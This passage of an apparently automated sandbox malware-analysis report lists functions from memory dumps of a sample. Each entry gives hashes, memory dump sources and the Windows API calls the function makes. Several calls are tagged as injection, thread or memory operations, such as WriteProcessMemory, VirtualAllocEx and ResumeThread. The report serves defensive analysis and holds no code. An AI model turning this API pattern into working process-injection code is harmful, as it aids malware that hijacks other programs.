Instruction ID: 2204c3abcbc660bab0ae438e94ae14128b4bcd8c77377ee29578bc7b7a5ba23f
Opcode Fuzzy Hash: bdf33c47f0c0eec829c9edfaea8471ab90e145b4c09e1f6cd1b3c9436baa9f20
Instruction Fuzzy Hash: CD4186B4D012489FDB10CFE9D584A9EBBF4BB09304F20902AE418BB290D775A985CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00BC25D1 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1748269126.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a456f4ebe86afbc264c4e1041a7b1241ff5db9394d60e820c90b812d63b6a91
Instruction ID: 7e13515ae478bc5fbdfe69819c0f1f95caf8af7372a19f3390ef7485758f3b57
Opcode Fuzzy Hash: 6a456f4ebe86afbc264c4e1041a7b1241ff5db9394d60e820c90b812d63b6a91
Instruction Fuzzy Hash: 6321F6B1E016588BEB18CFAAD8447DEBBF3AFC9310F14C16AD409AA264DB340945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 09648D10 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798171356.0000000009640000.00000040.00000800.00020000.00000000.sdmp, Offset: 09640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9640000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1fc44bd6d713b387cca422040a1bf604444f2e05a2cee9e921a8d6ffe418a04
Instruction ID: 30da5d21e55d9384499223b631eacd22e8ecd87663aef7b26cc311981e2c3cb3
Opcode Fuzzy Hash: f1fc44bd6d713b387cca422040a1bf604444f2e05a2cee9e921a8d6ffe418a04
Instruction Fuzzy Hash: C021E9B1E016188BDB18CF9BD9442DEFBF3AFC8310F14C16AD809A6268DB741A46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 08F3A42F Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1796536132.0000000008F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f30000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bddc5deac3867286aa051c11d21b532a6ea0c5bbbf578c6551ced8a3e2bd88e
Instruction ID: 779ed30e06f92d70ce962a4d63b73318ed92d7c20e4b9c1e0c972dff7fd7f64d
Opcode Fuzzy Hash: 6bddc5deac3867286aa051c11d21b532a6ea0c5bbbf578c6551ced8a3e2bd88e
Instruction Fuzzy Hash: 20211AB1D056688BDB19CFABC8042DEBFF7AFC9300F14C17AC4486B214DB3519468B51

Uniqueness

Uniqueness Score: -1.00%

Function 08F3A440 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1796536132.0000000008F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f30000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e70fbbff73085d1c5d1da27dadba73b8ba6aae0761c8151e040a867d53e14ba
Instruction ID: 175d2c4bfcd047fd38c3e226cf41c7fa42bf274b4482eee0813c7435601f6280
Opcode Fuzzy Hash: 5e70fbbff73085d1c5d1da27dadba73b8ba6aae0761c8151e040a867d53e14ba
Instruction Fuzzy Hash: CC11BCB1E056688BDB1CCFABC9142DEFAF7AFC9301F14C17AC8596B258DB7419068B50

Uniqueness

Uniqueness Score: -1.00%

Function 08F3A4D7 Relevance: 5.1, Strings: 4, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 08F3A80B
$^q, xrefs: 08F3A590
$^q, xrefs: 08F3A57A
$^q, xrefs: 08F3A821

Memory Dump Source

Source File: 00000000.00000002.1796536132.0000000008F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f30000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 4cc3db278478e624c33f2fe46cbbacc61d39ee5c0d87d17135983b74eab6119c
Instruction ID: 47f589698afb3c8046f3a6ad0715413a7fe4fe1a00ff73c952740fdf67c5a82e
Opcode Fuzzy Hash: 4cc3db278478e624c33f2fe46cbbacc61d39ee5c0d87d17135983b74eab6119c
Instruction Fuzzy Hash: 2141C074E00228CFDB64DF65D894B99BBB2FB89301F1081D9D549AB355CB349E86CF42

Uniqueness

Uniqueness Score: -1.00%

Function 08F32B78 Relevance: 2.8, Strings: 2, Instructions: 296
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 08F32E54
PH^q, xrefs: 08F32CE6

Memory Dump Source

Source File: 00000000.00000002.1796536132.0000000008F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f30000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 97c8a34d44277a969e48bb680936937ed5ee9d18cc50b0540598be7cb7212a3c
Instruction ID: 655e05d7b7d687159d4b74f9b1780a94d167bfcf21cdaadbc60c7993f8c6ccdf
Opcode Fuzzy Hash: 97c8a34d44277a969e48bb680936937ed5ee9d18cc50b0540598be7cb7212a3c
Instruction Fuzzy Hash: 78C1D774A00215CFCB14DF78C598AADBBF2BF89716B2545A8E416EB3A1DB31EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 08F3A6B9 Relevance: 2.7, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te^q, xrefs: 08F3A72A
Te^q, xrefs: 08F3A8E1

Memory Dump Source

Source File: 00000000.00000002.1796536132.0000000008F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f30000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Te^q$Te^q
API String ID: 0-3743469327
Opcode ID: 562ec83df9694f229a1f8f6f47c8d1c8ae305bb5a70b79adf848bf39ceebf929
Instruction ID: b2167a356c29f2ec49775eda336ff817b6caabfb9cf97c15d6c1eab466ab6a8e
Opcode Fuzzy Hash: 562ec83df9694f229a1f8f6f47c8d1c8ae305bb5a70b79adf848bf39ceebf929
Instruction Fuzzy Hash: 51515774E05228CFCB20DFA5D994BEDBBB5FB89302F20916AD449A7385DB345944CF10

Uniqueness

Uniqueness Score: -1.00%

Function 08F3A4C0 Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

Te^q, xrefs: 08F3A72A
Te^q, xrefs: 08F3A8E1

Memory Dump Source

Source File: 00000000.00000002.1796536132.0000000008F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f30000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Te^q$Te^q
API String ID: 0-3743469327
Opcode ID: cc03587359d1fdf9bb0a64b7b465b14ef64eddbb8ba86f396a6ef1c6b3272c77
Instruction ID: 42ce70b4e9178d0c647122790258ccc4d962444f49269d1edd1307e1675e9bde
Opcode Fuzzy Hash: cc03587359d1fdf9bb0a64b7b465b14ef64eddbb8ba86f396a6ef1c6b3272c77
Instruction Fuzzy Hash: 47514674E09228CBCB20DFA9D990BEDBBB5FB49342F20A159D449B7385DB345944CF10

Uniqueness

Uniqueness Score: -1.00%

Function 0964A200 Relevance: 2.6, Strings: 2, Instructions: 63COMMON

Download Yara Rule

Strings

3H5, xrefs: 0964A29E
3H5, xrefs: 0964A290

Memory Dump Source

Source File: 00000000.00000002.1798171356.0000000009640000.00000040.00000800.00020000.00000000.sdmp, Offset: 09640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9640000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: 3H5$3H5
API String ID: 0-2752242361
Opcode ID: 74e96a1617966d10933c2241315f89c38e66d164c278798ea768805f0ca32595
Instruction ID: 28ca167f783d4e9a15d0f11357706e75dbe0ef324bfd83305e09fc5b4935ea55
Opcode Fuzzy Hash: 74e96a1617966d10933c2241315f89c38e66d164c278798ea768805f0ca32595
Instruction Fuzzy Hash: 522107B0E11209EFCB44CFE9C640AAEFBF1FF89300F14C56A9508A7214E7359A45EB41

Uniqueness

Uniqueness Score: -1.00%

Function 0962675C Relevance: 1.8, APIs: 1, Instructions: 324processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 09626A2F

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 86292e43441f0d048584433aeaf78c500dff7daadf9d9a5af214ba810f6646b0
Instruction ID: 22e7ffe7125dc3d9eafea97366a5c05ae599dd7d41a91bfb369d28a089f61b5d
Opcode Fuzzy Hash: 86292e43441f0d048584433aeaf78c500dff7daadf9d9a5af214ba810f6646b0
Instruction Fuzzy Hash: 3CC12571D006298FDB20CFA8C841BEDBBB1BF49304F0091AAE859B7250DB749A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 09626768 Relevance: 1.8, APIs: 1, Instructions: 321processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 09626A2F

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 6c82768f5d2765a201785be23a3b947a6bfa7f88b55d6fec7027b166a36e6b15
Instruction ID: 2e67ab047e9ece5820fc2a44d4f74486b75b2a5f4c377407797407383eb548e5
Opcode Fuzzy Hash: 6c82768f5d2765a201785be23a3b947a6bfa7f88b55d6fec7027b166a36e6b15
Instruction Fuzzy Hash: 55C11571D006298FDB20CFA8C841BEDBBB1BF49304F0095AAE859B7250DB749A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0756A178 Relevance: 1.6, APIs: 1, Instructions: 130COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?), ref: 0756A27B

Memory Dump Source

Source File: 00000000.00000002.1796208361.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7560000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 3c214f8cd6ded8bb83a1952760cad6cbaa0cc86338c10cfbea3d9b876da1ad5d
Instruction ID: 7c097b14921047ba0a2a6581533be9ab388a93ed2ab37cc367bed185dbc96144
Opcode Fuzzy Hash: 3c214f8cd6ded8bb83a1952760cad6cbaa0cc86338c10cfbea3d9b876da1ad5d
Instruction Fuzzy Hash: 3C5165B8D002599FDB10CFA9D984ADEFBF1BB09310F24902AE818BB360D335A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 07569454 Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?), ref: 0756A27B

Memory Dump Source

Source File: 00000000.00000002.1796208361.0000000007560000.00000040.00000800.00020000.00000000.sdmp, Offset: 07560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7560000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 0246b91a66b1ad1232e95f39de243baace3d6d00cf70f2fb0df0e2d6db258cd6
Instruction ID: a99a4f6e1edb506d6bd09e610b72acadb9f8d1240f04a01eb16235453d14b125
Opcode Fuzzy Hash: 0246b91a66b1ad1232e95f39de243baace3d6d00cf70f2fb0df0e2d6db258cd6
Instruction Fuzzy Hash: B15155B4D012599FDB10CFA9D588ADEFBF1BB09310F24902AE819BB321D335A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00BCC588 Relevance: 1.6, APIs: 1, Instructions: 126COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00BCDE71

Memory Dump Source

Source File: 00000000.00000002.1748269126.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 6e7a985bd593a1ad33388fa13e0c0f43ed11c4cf23bef7a42694156466a05d40
Instruction ID: 4a2c2a7358c02fd384a417f2ead3146e16a88a1a04f3d9a0e8bc7671e97b65c6
Opcode Fuzzy Hash: 6e7a985bd593a1ad33388fa13e0c0f43ed11c4cf23bef7a42694156466a05d40
Instruction Fuzzy Hash: DD51E8B1D002198FDB21DFA8C884BDEBBF5BF49300F1084A9D509AB251DB716A89CF95

Uniqueness

Uniqueness Score: -1.00%

Function 09625FA0 Relevance: 1.6, APIs: 1, Instructions: 119injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0962607B

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: de1a4a9fd3c374ee57fad754716cd83cade9f80f94d0e9cd8988fef1ab624f96
Instruction ID: f0611769ed3eed5c0917205ef6225308cc7a9d4c71d793e0d55e394f1ec8b942
Opcode Fuzzy Hash: de1a4a9fd3c374ee57fad754716cd83cade9f80f94d0e9cd8988fef1ab624f96
Instruction Fuzzy Hash: D641B8B5D012589FCB10CFA9D984AEEFBF1BB49310F20902AE819B7250C375AA45DF64

Uniqueness

Uniqueness Score: -1.00%

Function 09625FA8 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0962607B

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 944e278cfc4cd31547b3a03bd91ca2849f842581a2e26079549b625b7d3aa0b4
Instruction ID: 8b574621c6656dd5f5ba74fa48d9b9499c350bf3c6a8796aadf6ad689a5bf6c8
Opcode Fuzzy Hash: 944e278cfc4cd31547b3a03bd91ca2849f842581a2e26079549b625b7d3aa0b4
Instruction Fuzzy Hash: 0A41BAB4D012589FCF00CFA9D984ADEFBF1BB49314F20902AE818B7250D735AA45DF64

Uniqueness

Uniqueness Score: -1.00%

Function 096260F8 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 096261B2

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 12933f4d8b07ecf36f14f84dbce799ad896013cc9d5e6f75caf3f645d8e33cfc
Instruction ID: e612a32b4752556343b1a4cd9e2950fef69509e27d3f5ea1637b03a19640c75c
Opcode Fuzzy Hash: 12933f4d8b07ecf36f14f84dbce799ad896013cc9d5e6f75caf3f645d8e33cfc
Instruction Fuzzy Hash: BA41B8B5D002589FCF10CFA9D885AEEFBB1BB5A310F10902AE815B7210C734A946DF65

Uniqueness

Uniqueness Score: -1.00%

Function 09626100 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 096261B2

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 99a5a28aec2b0b9c006344a53281f845c6b72225ab8b7ddc1e507a8ee1712801
Instruction ID: 7fb483437ba9c983833514d47cbc0f7925ec7b037a610b63d2656952de15d062
Opcode Fuzzy Hash: 99a5a28aec2b0b9c006344a53281f845c6b72225ab8b7ddc1e507a8ee1712801
Instruction Fuzzy Hash: 7B41A8B5D002589FCF10CFAAD884AEEFBB1BB59310F10A42AE819B7250D735A945CF65

Uniqueness

Uniqueness Score: -1.00%

Function 09625E80 Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 09625F32

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5ef9d7ed111980d58b64578d7766cadedf5763675c22d010d31a89d1bf59a1c3
Instruction ID: 2b6d52df978e210a5c2a328846efe8ef2eb1421162025458c81a41853d3a1637
Opcode Fuzzy Hash: 5ef9d7ed111980d58b64578d7766cadedf5763675c22d010d31a89d1bf59a1c3
Instruction Fuzzy Hash: 6631A8B9D002589FCF10CFA9D984AEEFBB1BB49310F10A42AE815BB310D735A946CF55

Uniqueness

Uniqueness Score: -1.00%

Function 09625E88 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 09625F32

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 08312614b84791e45a009813cc5937834744ef0a095459fec3d840aaef460548
Instruction ID: 4532ec2663949685f04d415760a10cb3dcc5a7b53225f01acbd4974f12068658
Opcode Fuzzy Hash: 08312614b84791e45a009813cc5937834744ef0a095459fec3d840aaef460548
Instruction Fuzzy Hash: DF31A8B8D002589FCF10CFA9D984ADEFBB1BB49310F10942AE815B7310D735A946CF55

Uniqueness

Uniqueness Score: -1.00%

Function 09625D5A Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 09625E0F

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 4595e00cab33b3d6d08dc92515c06c5739ea42af06108d4edb1a3dfc0c3372b4
Instruction ID: b7302424e42052096a4d57712cde55921e880e07aa67dabef045deee883509f5
Opcode Fuzzy Hash: 4595e00cab33b3d6d08dc92515c06c5739ea42af06108d4edb1a3dfc0c3372b4
Instruction Fuzzy Hash: 1441BAB5D012589FCB14CFA9D884AEEBFF0BB49310F24802AE419BB250C7789945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00BC8379 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00BC8427

Memory Dump Source

Source File: 00000000.00000002.1748269126.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: c5b54d2744bdac3ce7d6a99b125295b1dbe929ef8fbfa92169978b99aeabb9dc
Instruction ID: 58125897200138549afdc93fece28b9cfff874ba7eb86b2bf87462725ac22750
Opcode Fuzzy Hash: c5b54d2744bdac3ce7d6a99b125295b1dbe929ef8fbfa92169978b99aeabb9dc
Instruction Fuzzy Hash: DF31A9B9D042589FCB10CFA9E484ADEFBF0BB49310F24906AE814B7310C374A949CF64

Uniqueness

Uniqueness Score: -1.00%

Function 09625D60 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 09625E0F

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 4ac08dab7ab2d87ed0726d16be991087c22134ed29509245acb4f0f32506d23e
Instruction ID: b03e6e261a97fe63fd424556ab689c3e2f5012c4606b5bb015dfdd9738bad37a
Opcode Fuzzy Hash: 4ac08dab7ab2d87ed0726d16be991087c22134ed29509245acb4f0f32506d23e
Instruction Fuzzy Hash: DE31CBB5D012599FCB10CFA9D884AEEFBF1BF49314F24802AE419BB240D738A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00BC8380 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00BC8427

Memory Dump Source

Source File: 00000000.00000002.1748269126.0000000000BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2dc4b7e13e973738ac1cfcd20d1d409244608acbc1e9549fecd08bff51317b3e
Instruction ID: 64bb99c4c55941f5673cf1cab5a71ab6ccd6af063fe7f325d9067cb0c8c71c3c
Opcode Fuzzy Hash: 2dc4b7e13e973738ac1cfcd20d1d409244608acbc1e9549fecd08bff51317b3e
Instruction Fuzzy Hash: 7D3198B9D042599FCB14CFAAE484ADEFBF0BB49310F24906AE814B7310D775A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 096272AC Relevance: 1.6, APIs: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,00000000), ref: 0962A353

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 078f04ae527f822e1d85b28b55876c4559654e88710e774d6332efe14c2fd801
Instruction ID: 2850d261160777c0bc3d2b15c4136acf639512ff5a7608e5b6cdeb11e163a1a4
Opcode Fuzzy Hash: 078f04ae527f822e1d85b28b55876c4559654e88710e774d6332efe14c2fd801
Instruction Fuzzy Hash: 003188B9D04258AFCB10CF99D584A9EFBF4EB09310F24901AE818B7350D375A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0962A2B0 Relevance: 1.6, APIs: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,00000000), ref: 0962A353

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 71e422fa5455fff5506c9acd43d863119ef258ff3584c4a3ce6ec15dba5a080c
Instruction ID: 976e83bdb504686510609e2b9e7ab434316fd361fc02da534d32926107d62c67
Opcode Fuzzy Hash: 71e422fa5455fff5506c9acd43d863119ef258ff3584c4a3ce6ec15dba5a080c
Instruction Fuzzy Hash: 6E3186B9D00259AFCB10CFA9E584ADEFBF4EB59310F24901AE818BB320D375A9458F54

Uniqueness

Uniqueness Score: -1.00%

Function 09625C6A Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 09625CEE

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f389ef5c07bf868b4e2f9127ca56eaf33bce5fc51245f9b5911425bde52a19ae
Instruction ID: f47335c96e3fe0d45e414a54ce5a0d3eae34db761c3eb3801967247514ca4609
Opcode Fuzzy Hash: f389ef5c07bf868b4e2f9127ca56eaf33bce5fc51245f9b5911425bde52a19ae
Instruction Fuzzy Hash: FF31BAB4D012589FCB24DFA9D585AEEFBB1AB89310F10942AE81AB7310C774A901CF59

Uniqueness

Uniqueness Score: -1.00%

Function 09625C70 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 09625CEE

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2f9e0a07259e40ea6861a59c2b89c00e7402c62933572a0616235aab90ba5205
Instruction ID: 7a69ad124b234241c741171081d68b9b9a0ad4b49347b373b3078db236d56192
Opcode Fuzzy Hash: 2f9e0a07259e40ea6861a59c2b89c00e7402c62933572a0616235aab90ba5205
Instruction Fuzzy Hash: 6131ACB4D112589FCB14CFA9D585ADEFBB4BB49310F10942AE819B7310D735A941CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0962B1D7 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798084628.0000000009620000.00000040.00000800.00020000.00000000.sdmp, Offset: 09620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9620000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cdd50fb51e1935c5ad9f910013fd515fdaf023477a09f435e7480b346574783
Instruction ID: edd6d47c1895528f32c9f1d68135f27aab23bc299c48354635b40cc7a76ff735
Opcode Fuzzy Hash: 5cdd50fb51e1935c5ad9f910013fd515fdaf023477a09f435e7480b346574783
Instruction Fuzzy Hash: 3611E0B0E16618DFC704CFB5D9895AEFBF2EF8A300F14D4A6C419E7214E7308A42AB05

Uniqueness

Uniqueness Score: -1.00%

Function 08F364C0 Relevance: 1.4, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

Hbq, xrefs: 08F365A7

Memory Dump Source

Source File: 00000000.00000002.1796536132.0000000008F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f30000_UQO06iOMKZMPZ4A.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 1119e6b8acca99aa6b979ed0af629b05410675a5e9d9013f4f79c22af7260c6d
Instruction ID: ea6b3004ea9100c13c9dab4b13612b7204533a2288d41d3c47982bf232f20ae4
Opcode Fuzzy Hash: 1119e6b8acca99aa6b979ed0af629b05410675a5e9d9013f4f79c22af7260c6d
Instruction Fuzzy Hash: B051D671B045219FC714DB3DD880A6DB7F2BF95261B14427AE059CB3A4CB34EC52D790

Uniqueness

Uniqueness Score: -1.00%

Function 09646D14 Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

Te^q, xrefs: 0964E721

Memory Dump Source

Source File: 00000000.00000002.1798171356.0000000009640000.00000040.00000800.00020000.00000000.sdmp, Offset: 09640000, based on PE: false

